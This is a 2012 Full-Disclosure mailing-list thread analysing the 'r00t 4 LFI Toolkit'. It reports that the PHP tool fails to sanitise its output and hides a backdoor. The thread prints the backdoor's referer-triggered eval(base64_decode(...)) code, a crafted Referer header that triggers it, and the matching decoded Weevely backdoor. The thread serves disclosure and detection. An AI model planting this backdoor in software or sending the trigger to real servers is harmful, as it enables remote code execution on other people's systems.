Re: Analysis of the "r00t 4 LFI Toolkit"

[InterN0T Advisories <advisories () intern0t net>]

Thank you for the response, I didn't know it was included in the Weevely
tool, but I did see it used in a few "priv8" PHP shells too.

On Sun, 19 Feb 2012 19:32:13 +0200, Anestis Bechtsoudis
<bechtsoudis.a () gmail com> wrote:
> The backdoor PHP code that you included is exactly the same as generated
> by Weevely [1] tool, until the 0.4 version of the tool.
>
> For convenience I include the base64 decoded Weevely code here too:
>
> ini_set('error_log','/dev/null');
> parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='my' &&
> count($a)==9) {echo '<pass>';eval(base64_decode(str_replace(" ", "+",
> join(array_slice($a,count($a)-3)))));echo '</pass>';}
>
>
> For more details you can refer at a relevant post I wrote recently [2].
>
> I haven't dig into "r00t 4 LFI" source code, but from your analysis the
> similarities are pretty obvious.
>
> ps: This email has been BCC'ed to Weevely developer.
>
>
> [1] http://code.google.com/p/weevely/
> [2] https://bechtsoudis.com/security/put-weevely-on-the-your-nids-radar/
>
>
> On 02/19/2012 07:01 PM, InterN0T Advisories wrote:
> > Dear Full Disclosure readers,
> >
> >
> > Today I saw Joe McCray among others, tweet about the (new) "r00t 4 LFI
> > Toolkit", that according to its description:
> > -------------------------------------------
> > This tool is a php script that assists in performing local file
inclusion
> > attacks.
> > -------------------------------------------
> >
> > > > Should be able to perform local file inclusion attacks.
> >
> >
> > -:: Overview ::- 
> >
> > After studying this tool for a brief 5 minutes, it was obvious that it
> > was
> > nowhere what I hoped it to be, as the tool only use one method, the
> > "/proc/self/environ" vector (as seen on e.g., the intern0t forums and
> > many
> > other sites). 
> >
> > The tool is therefore, not capable of performing "attacks", but only 1,
> > single type of LFI attack. (Note that the 'S' has been removed.) 
> >
> > The method this tool uses, is far from new and doesn't always work
> > either,
> > but it's a nice trick that e.g., SirGod wrote about on the intern0t
> > forums
> > in 2009. (This tool was released the 18th February 2012.)
> >
> >
> > -:: Vulnerabilities ::- 
> >
> > Further study of this tool reveals:
> > - None of the output from the tool is sanitized, meaning the attacker
> > using the script, can get XSS'd (and CSRF'd), if the target has changed
> > e.g., the 'uname -a' command (which is relatively simple to do), to
> > include
> > (print) JavaScript instead. If this happens, the attacker may end up
> > attacking himself, crashing or something third, depending on the type
of
> > XSS payload.
> >
> > - The most interesting part, is on line 92, where the "developer"
> > (KedAns-Dz), has decided to >>backdoor<< the tool.
> >
> >
> > -:: The Backdoor ::- 
> >
> > Analysis of the backdoor:
> > By sending a HTTP request, that includes a specially crafted referer,
it
> > is possible to execute PHP code:
> > -------------------------------------------
> > Referer: a1=iz&a2=&a3=&a4=&a5=&a6=&a7=&a8=&a0=cGhwaW5mbygpOw==
> > -------------------------------------------
> >
> >
> > This referer will make the script execute: phpinfo();
> >
> >
> > -:: Code Review ::-
> >
> > The code that enables the developer to use the script as a backdoor
looks
> > like the following:
> > -------------------------------------------
> > parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' &&
> > count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+",
> > join(array_slice($a,count($a)-3)))));echo '</star>';} 
> > -------------------------------------------
> >
> >
> > It certainly took a little bit of study to trigger, but in essence
here's
> > what it do:
> > 1. Parse the HTTP Referer string into variable: $a ("Referer:" is not
> > included.)
> > 2. If the first array value (not key / arg), is a string named: iz
> > 3. And if there's 9 (different) arrays, then
> > 4. Print out the contents of..
> >
> >
> > This requires a bit more in-depth explanation:
> > A) Evaluate the following as PHP code:
> > B) Base64_decode the input:
> > C) Replace " " (space) with "+" (plus), in case they occur.
> > D) Use the last three array values from the HTTP referer.
> > (You don't have to use all three, using the last will work fine.)
> >
> >
> > To make it all a lot more simple:
> > -------------------------------------------
Referer:Array1=iz&Array2=&Array3=&Array4=&Array5=&Array6=&Array7=&Array8=&Array0=[BASE64
> > Code that will be executed as PHP.]
> > -------------------------------------------
> >
> >
> > Screenshot:
> > http://i.imgur.com/PXcSX.png
> >
> >
> > References:
http://forum.intern0t.org/offensive-guides-information/4113-analysis-r00t-4-local-file-inclusion-toolkit.html
> >
http://forum.intern0t.org/general-hacking-discussions/1258-shell-via-local-file-inclusion-proc-self-environ-method-step-step.html
> > http://packetstormsecurity.org/files/109940/
> > https://twitter.com/#!/j0emccray/status/170941195030233090
> > https://twitter.com/#!/EChavarro/status/170941489629761537
> > http://i.imgur.com/PXcSX.png
> >
> >
> >
> > Best regards,
> > MaXe
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/